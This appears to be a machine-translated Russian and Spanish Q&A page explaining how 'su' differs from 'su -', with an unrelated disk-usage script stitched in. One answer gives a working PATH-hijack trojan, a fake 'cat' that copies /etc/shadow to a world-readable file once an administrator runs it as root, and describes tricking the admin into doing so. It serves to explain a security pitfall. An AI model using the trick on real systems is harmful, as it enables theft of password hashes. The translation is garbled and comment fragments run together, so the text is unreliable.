Вот то, что я использую на Ubuntu 10.04, CentOS 5.5, FreeBSD и Mac OS X.
Я одолжил идею у www.geekology.co.za/и earthinfo.org, а также печально известных уток от "Взломов Сервера Linux" O'Reilly. Я все еще адаптирую его к своим потребностям. Это - все еще происходящая работа (Как в, я работал над этим на поезде этим утром.):
#! /usr/bin/env bash
ducks () {
du -cks -x | sort -n | while read size fname; do
for unit in k M G T P E Z Y; do
if [ $size -lt 1024 ]; then
echo -e "${size}${unit}\t${fname}"
break
fi
size=$((size/1024))
done
done
}
ducks > .ducks && tail .ducks
Вот вывод:
stefan@darwin:~ $ ducks
32M src
42M .cpan
43M .macports
754M doc
865M Work
1G .Trash
4G Library
17G Downloads
30G Documents
56G total
stefan@darwin:~ $
su -
вызывает оболочку входа в систему после переключения пользователя. Оболочка входа в систему сбрасывает большинство переменных среды, обеспечивая чистую основу.
su
просто переключает пользователя, предоставляя нормальной оболочке среду почти то же как со старым пользователем.
Вообразите, Вы - разработчик программного обеспечения с доступом обычного пользователя к машине, и Ваш неосведомленный администратор просто не предоставит Вам корневой доступ. Давайте (надо надеяться), обманем его.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Теперь, Вы спрашиваете своего администратора, почему Вы не можете cat
фиктивный файл в Вашей домашней папке, это просто не будет работать!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Если Ваш администратор не настолько умен или просто немного ленив, он мог бы подойти к Вашему столу и попробовать своими полномочиями суперпользователя:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Ничего себе! Спасибо, супер администратор!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Он, он.
Вы, возможно, заметили что поврежденный $PATH
переменная не была сброшена. Этого не произошло бы, если администратор вызвал su -
вместо этого.
su -
журналы Вы в полностью как корень, тогда как su
делает его так, Вы симулируете быть корнем.
Самый очевидный пример этого - это ~
корневой каталог корня, если Вы используете su -
, но Ваш собственный корневой каталог, если Вы используете su
.
В зависимости от Вашей системы это может также означать различия в подсказке, PATH
, или файл истории.
Таким образом, если Вы - часть команды, администрирующей систему, и Ваш коллега дает Вам команду для выполнения, Вы знаете, что она будет работать то же, если Вы будете оба использовать su -
, но если Вы оба используете su
, могут быть различия из-за Вас имеющий различные конфигурации оболочки.
С другой стороны, если Вы хотите выполнить команду как корень, но использование Вашей собственной конфигурации, затем возможно, su
лучше для Вас.
Также не забывайте о sudo
, который имеет a -s
опция запустить оболочку, работающую как корень. Конечно, это имеет различные правила также, и они изменяются, в зависимости от которого распределения Вы используете.
.bashrc
или /etc/bashrc
или /etc/profile.d
сценарии устанавливают PATH
. Искать if [ $UID -eq 0 ]
или что-то как этот. от
– Mikel
08.02.2011, 03:14
Uso su --cuando estoy en un directorio como usuario normal pero quiero cambiar a raíz y permanecer en el mismo directorio después del cambio. Cuando usa su -, cambia al usuario a root y también lo lleva a /root, que es el directorio de inicio raíz.
La principal diferencia es:
su - username
configura el entorno de shell como si fuera un inicio de sesión limpio como el usuario especificado, accede y utiliza las variables de entorno de los usuarios especificados,
su username
simplemente inicia un shell con la configuración actual del entorno para el usuario especificado.
Si el nombre de usuario no se especifica con su
y su -
, la cuenta raíz está implícita como predeterminada.
su --
совпадает сsu
. – Mikel 07.02.2011, 22:08umask
как 000 или это не будет работать. – Lekensteyn 22.10.2011, 11:48su
файл в ПУТИ. Не настолько трудно подражать поведению реальногоsu
. Суперпользователь был небрежен так или иначе, :-) – Stéphane Gimenez 28.02.2012, 20:53su --
не то же какsu -
:--
говорит getopt (s) (или подобный) обработчик опций прекращать обрабатывать командную строку для дальнейших опций (полезный, например, если остальное содержит имена файлов, которые могли бы запуститься с '-'). Т.е., в "комнате-i-f":-f затем рассматривают как регулярный аргумент, таким образом, здесь как название файла кrm -i
, и не как дополнительное-f
опция кrm
команда. Такsu --
справедливоsu
и нетsu -
! такsu --
было бы так же небезопасно к (забавный и поучительный) пример, данный взмахом. Использоватьsu -
. – Olivier Dulac 26.12.2012, 17:05